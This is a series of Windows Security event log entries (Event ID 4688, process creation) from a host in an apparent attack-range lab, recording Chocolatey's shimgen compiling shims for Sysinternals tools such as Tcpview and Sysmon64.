	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Testlimit.exe" --output="C:\ProgramData\chocolatey\bin\Testlimit.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Testlimit.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246933
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe4c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x3fc
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES15EF.tmp" "c:\ProgramData\chocolatey\bin\CSCDB32CAF98F7A48A49EA1D7248D53DC3E.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246932
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc98
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x3fc
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246931
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3fc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xed4
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Tcpview.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123428_8174\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123428_8174\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123428_8174\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123428_8174\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123428_8174\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246930
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc64
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xed4
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246929
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xed4
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Tcpview.exe" --output="C:\ProgramData\chocolatey\bin\Tcpview.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Tcpview.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246928
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb24
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x534
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES1505.tmp" "c:\ProgramData\chocolatey\bin\CSC55B4F1E016554FE782F1BE97A0B56854.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246927
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x36c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x534
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246926
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x534
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xdb0
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Tcpvcon.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123428_5830\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123428_5830\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123428_5830\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123428_5830\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123428_5830\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246925
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc94
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xdb0
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246924
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdb0
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Tcpvcon.exe" --output="C:\ProgramData\chocolatey\bin\Tcpvcon.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Tcpvcon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246923
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe88
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x5b0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES141A.tmp" "c:\ProgramData\chocolatey\bin\CSCA85B08335F9E43D49E2E604A6CFBF78C.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246922
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb4c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x5b0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246921
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5b0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe94
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Sysmon64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123428_3643\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123428_3643\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123428_3643\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123428_3643\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123428_3643\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246920
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x838
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe94
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246919
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe94
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Sysmon64.exe" --output="C:\ProgramData\chocolatey\bin\Sysmon64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Sysmon64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246918
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc48
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa44
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES1340.tmp" "c:\ProgramData\chocolatey\bin\CSC57D2DA4FC786404D9B9129EF9B846B43.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246917
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x994
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa44
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

